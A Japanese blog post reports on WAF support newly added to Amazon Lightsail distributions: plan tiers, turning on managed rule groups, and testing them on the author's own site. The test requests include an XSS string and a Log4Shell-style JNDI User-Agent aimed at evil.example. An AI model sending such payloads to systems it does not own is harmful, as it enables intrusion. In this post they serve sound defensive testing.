[アップデート] Amazon Lightsail のディストリビューションで WAF が使えるようになりました

いわさです。

これまで Amazon Lightsail には WAF の設定がなく、WAF を使いたい場合は前段に CloudFront + AWS WAF を別途組むなどが必要でした。
先日のアップデートで、ついに Web Application Firewall（WAF）の機能が追加されました。

https://github.com/aws/aws-cli/commit/16a15f636de3ce92ee5d20f39cdb7fa7f4071cfb

ディストリビューションに Lightsail マネージドな WAF をアタッチするようなイメージで、AWS WAF やセルフマネージドなリソースとは独立してます。Lightsail WAF って感じ。

本日時点では What's New のアナウンスはまだ出ていないようですが、AWS CLI などの更新通知は出ており、Lightsail ユーザーガイドにも WAF の専用ページが追加されています。コンソール上も機能します。

https://docs.aws.amazon.com/lightsail/latest/userguide/amazon-lightsail-distribution-waf.html

今回こちらを確認してみたので紹介します。

実際に有効にしてみる

まず、オリジンになる Lightsail インスタンス（nginx）を用意して、そこへディストリビューションを向けておきました。

WAF の設定方法ですが、ディストリビューションの管理画面にある Security タブから有効にします。ディストリビューションが前提になるという点を気をつけてください。Lightsail の場合は直インスタンスのみを使っている場合も多く、その場合は使えません！

使えるルールグループは、ディストリビューションのプランで変わります。

• $2.50（small）: WAF 非対応
• $10（medium）: マネージドルールグループが 3 つ
• $35（large）: マネージドルールグループが 11 個、さらにカスタムルールグループを 3 つまで

small は WAF 自体に対応していないので、使うなら medium 以上に変更する必要があります。

WAF isn't supported on the USD $2.50/month distribution plan. To use WAF, change your distribution to the USD $10/month or USD $35/month plan.

Enable WAF を押すと WAF 自体が有効になり、その下の WAF rule groups でどのルールグループを使うかをトグルで選ぶ形でした。
今回は $10 の medium プランで試してます！

マネージドルールグループは AWS があらかじめ用意しているルールのまとまりで、トグルで有効にすると、そのルールグループに一致したリクエストがブロックされます。
通常の AWS WAF にあるような、ブロックせずに件数だけ数えるカウントモードに相当する設定は、Lightsail 側では見当たりませんでした。
有効にしたら即ブロック、という形のようです。

今回は medium プランなので、使える 3 つのルールグループをすべて有効にしました。
画面では Core rule set（CommonRuleSet）、Known bad inputs（KnownBadInputsRuleSet）、Anonymous IP list（AnonymousIpList）の3つが有効になっています。

有効後に攻撃リクエストがブロックされるか確認する

有効にする前と後で、同じリクエストを送って挙動が変わるかを見てみます。

WAF を無効にした状態では、XSS っぽいクエリ（<script>alert(1)</script>）も、User-Agent に Log4Shell っぽい文字列（${jndi:ldap://...}）を入れたリクエストも、どちらもオリジンまで届いて 200 で応答が返ってきました。

次に、さきほどの 3 つのルールグループを有効にしてから、まったく同じリクエストを送り直します。

まず通常の GET は 200 で、そのまま通りました。

$ curl -s -o /dev/null -w "%{http_code}\n" "https://<ドメイン>/"
200

XSS っぽいクエリと Log4Shell っぽい User-Agent は、どちらも 403 でブロックされました。

$ curl -s -o /dev/null -w "%{http_code}\n" --data-urlencode "q=<script>alert(1)</script>" -G "https://<ドメイン>/"
403
$ curl -s -o /dev/null -w "%{http_code}\n" "https://<ドメイン>/" -H 'User-Agent: ${jndi:ldap://evil.example/a}'
403

ブロックされたときのレスポンスは、オリジンの nginx のページではなく CloudFront の Request blocked. というエラーページでした。

403 ERROR
The request could not be satisfied.
Request blocked.
Generated by cloudfront (CloudFront)

3 つ同時に有効にしているのでどのルールグループで止まったかまでは切り分けていませんが、XSS は CommonRuleSet、Log4Shell は KnownBadInputsRuleSet が対象とするルールなので、そのいずれかでブロックされたのだと思います。
ルールグループ内の細かいルールまではチューニング出来なさそうですね。Large プランだといけるのかな。

なお、SQL インジェクションっぽいクエリ（id=1 UNION SELECT ...）は medium で使える CommonRuleSet では 200 のまま通りました。
SQL インジェクション専用のルールグループ（AWSManagedRulesSQLiRuleSet）は large プランでしか使えないので、そこまで守りたい場合はプランを上げる必要がありそうです。

ブロック数をメトリクスで確認する

WAF を有効にすると、ディストリビューションのメトリクスに Blocked requests と Allowed requests が増えます。これです。

攻撃リクエストを何回か送ってから、メトリクスタブで見てみました。

ブロックしたリクエスト数と通過させたリクエスト数が分かれて記録されるので、どの程度対象になっているのかくらいは確認できそうですね。

さいごに

本日は Amazon Lightsail のディストリビューションに WAF が追加されたので確認してみました。

昨今のセキュリティ情勢からか、旧にいままでなかった WAF が追加されましたね。
Lightsail でインスタンスやバケットを公開配信している場合、ディストリビューション経由で配信しているならプランを medium 以上にするだけで最低限の防御を足せるので、公開しているサイトがある方は一度 Security タブを見てみるとよさそうです。